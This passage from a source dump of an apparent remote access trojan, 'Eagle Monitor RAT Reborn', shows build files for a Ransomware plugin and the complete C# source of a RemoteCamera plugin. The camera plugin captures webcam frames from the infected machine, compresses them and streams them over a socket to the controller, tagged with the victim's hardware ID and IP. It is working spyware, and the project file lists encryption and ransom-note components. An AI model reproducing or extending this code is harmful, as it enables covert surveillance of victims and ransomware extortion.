    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Ransomware\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Ransomware\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"150ca92e-fd24-4518-8b7b-bbecb4cc7578\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Ransomware.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{150CA92E-FD24-4518-8B7B-BBECB4CC7578}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Ransomware</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <TargetFrameworkProfile />\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Newtonsoft.Json, Version=9.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL\">\n      <SpecificVersion>False</SpecificVersion>\n      <HintPath>..\\..\\Eagle Monitor RAT Reborn\\DLLs\\Newtonsoft.Json.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"Encryption\\Encrypted.cs\" />\n    <Compile Include=\"Encryption\\RSM.cs\" />\n    <Compile Include=\"FormTemplate.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Operation\\ActionDecryption.cs\" />\n    <Compile Include=\"Operation\\ActionEncryption.cs\" />\n    <Compile Include=\"Encryption\\RSA.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Operation\\KeyGenerator.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <EmbeddedResource Include=\"FormTemplate.resx\">\n      <DependentUpon>FormTemplate.cs</DependentUpon>\n    </EmbeddedResource>\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.8\", FrameworkDisplayName = \".NET Framework 4.8\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.CoreCompileInputs.cache",
    "content": "52790f521b9db5a6e0ed4d91900144593faecfad\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.FileListAbsolute.txt",
    "content": "C:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Ransomware.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Ransomware.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Ransomware.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Plugin.FormTemplate.resources\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.GenerateResource.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Ransomware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Plugin.FormTemplate.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.GenerateResource.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Ransomware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Plugin.FormTemplate.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.GenerateResource.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Ransomware\\obj\\Release\\Ransomware.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool hasToExit { get; set; }\n\n        public delegate bool ConnectAsync();\n        private delegate PacketType SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        public delegate byte[] ReadDataAsync();\n        public delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        public ReadDataAsync readDataAsync;\n        public ReadPacketAsync readPacketAsync;\n\n        public ClientHandler(Host host, string key, string baseIp, string HWID) : base()\n        {\n            this.hasToExit = false;\n            this.host = host;\n            this.key = key;\n            this.HWID = HWID;\n            this.baseIp = baseIp;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n        }\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (hasToExit)\n            {\n                return;\n            }\n            else if (!Connected)\n            {\n                ConnectStart();\n            }\n            else\n            {\n                Receive();\n                if (Launch.cameraCapture == true) \n                {\n                    Helpers.StartCaptureAsync();\n                }\n            }\n        }\n\n        public void Receive()\n        {\n            if (hasToExit)\n                return;\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if (Connected)\n                    hasToExit = true;\n\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n            Receive();\n        }\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            try\n            {\n                return BufferPacket.DeserializePacket(this.key);\n            }\n            catch (Exception)\n            { return null; }\n        }\n\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n\n            if (packet != null)\n                ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet)\n        {\n            switch (packet.PacketType)\n            {\n                case PacketType.RC_CAPTURE_ON:\n                    Launch.remoteCameraCapturePacket = (RemoteCameraCapturePacket)packet;\n                    break;\n\n                case PacketType.RC_CAPTURE_OFF:\n                    hasToExit = true;\n                    Launch.cameraCapture = false;\n                    Helpers.StopStreamCamera();\n                    break;\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n\n        private PacketType SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return data.PacketType;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                }\n                return data.PacketType;\n            }\n        }\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            ar.AsyncWaitHandle.WaitOne();\n            PacketType packetType = sendDataAsync.EndInvoke(ar);\n            ar.AsyncWaitHandle.Close();\n\n            if (Connected)\n            {\n                if (packetType == PacketType.RC_GET_CAM)\n                    this.Dispose();\n            }\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/GetCameras.cs",
    "content": "﻿using AForge.Video.DirectShow;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/RemoteCamera/RemoteCamera/Packet.cs\n*/\n\nnamespace Plugin\n{\n    internal static class GetCameras\n    {\n        internal static List<string> GetListCameras()\n        {\n            List<string> CameraList = new List<string>();\n            FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);\n            foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)\n            {\n                CameraList.Add(videoCaptureDevice.Name);\n            }\n            return CameraList;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/Helpers.cs",
    "content": "﻿using AForge.Video;\nusing AForge.Video.DirectShow;\nusing PacketLib;\nusing PacketLib.Packet;\nusing System;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/RemoteCamera/RemoteCamera/Packet.cs\n*/\n\nnamespace Plugin\n{\n    internal class Helpers\n    {\n        static Helpers() \n        {\n            captureAsync = new CaptureAsync(Capture);\n        }\n\n        private static VideoCaptureDevice FinalVideo;\n        private static MemoryStream Camstream = new MemoryStream();\n\n\n        internal delegate void CaptureAsync();\n        internal static CaptureAsync captureAsync;\n        internal static void StartCaptureAsync() \n        {\n\n            captureAsync.BeginInvoke(new AsyncCallback(EndCaptureAsync) , null);\n        }\n\n        internal static void Capture()\n        {\n\n            FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);\n            FinalVideo = new VideoCaptureDevice(videoCaptureDevices[Launch.remoteCameraCapturePacket.index].MonikerString);\n            FinalVideo.NewFrame += new NewFrameEventHandler\n                (\n                 (sender, e) => CaptureRun(sender, e)\n                );\n            FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[Launch.remoteCameraCapturePacket.index];\n            FinalVideo.Start();\n        }\n\n\n        private static void CaptureRun(object sender, NewFrameEventArgs e)\n        {\n            try\n            {\n                if (Launch.cameraCapture == true)\n                {\n                    Bitmap image = (Bitmap)e.Frame.Clone();\n                    using (Camstream = new MemoryStream())\n                    {\n                        Encoder myEncoder = Encoder.Quality;\n                        EncoderParameters myEncoderParameters = new EncoderParameters(1);\n                        EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Launch.remoteCameraCapturePacket.quality);\n                        myEncoderParameters.Param[0] = myEncoderParameter;\n                        ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);\n                        image.Save(Camstream, jpgEncoder, myEncoderParameters);\n                        myEncoderParameters?.Dispose();\n                        myEncoderParameter?.Dispose();\n                        image?.Dispose();\n                        byte[] compressed = Compressor.QuickLZ.Compress(Camstream.ToArray(), 1);\n                        RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(compressed)\n                        {\n                            BaseIp = Launch.clientHandler.baseIp,\n                            HWID = Launch.clientHandler.HWID\n                        };\n                        Launch.clientHandler.SendPacket(remoteCameraCapturePacket);\n                        Thread.Sleep(Launch.remoteCameraCapturePacket.timeMS);\n                    }\n                }\n                else\n                {\n                    return;\n                }\n            }\n            catch (Exception)\n            {\n                return;\n            }\n        }\n\n        private static void EndCaptureAsync(IAsyncResult ar) \n        {\n            ar.AsyncWaitHandle.WaitOne();\n            captureAsync.EndInvoke(ar);\n            ar.AsyncWaitHandle.Close();\n        }\n\n        internal static void StopStreamCamera() \n        {\n            FinalVideo.Stop();\n            FinalVideo.NewFrame -= null;\n            Camstream?.Dispose();\n            Launch.clientHandler.Dispose();\n        }\n\n        private static ImageCodecInfo GetEncoder(ImageFormat format)\n        {\n            ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();\n            foreach (ImageCodecInfo codec in codecs)\n            {\n                if (codec.FormatID == format.Guid)\n                {\n                    return codec;\n                }\n            }\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static ClientHandler clientHandler;\n        internal static bool cameraCapture;\n\n        internal static RemoteCameraCapturePacket remoteCameraCapturePacket;\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            cameraCapture = false;\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.RC_GET_CAM:\n                    ClientHandler clientHandlerGetCam = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);\n                    clientHandlerGetCam.ConnectStart();\n                    RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket(GetCameras.GetListCameras(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    while (!clientHandlerGetCam.Connected)\n                        Thread.Sleep(125);\n                    clientHandlerGetCam.SendPacket(remoteCameraPacket);\n                    break;\n\n               case PacketType.RC_CAPTURE_ON:\n                    cameraCapture = true;\n                    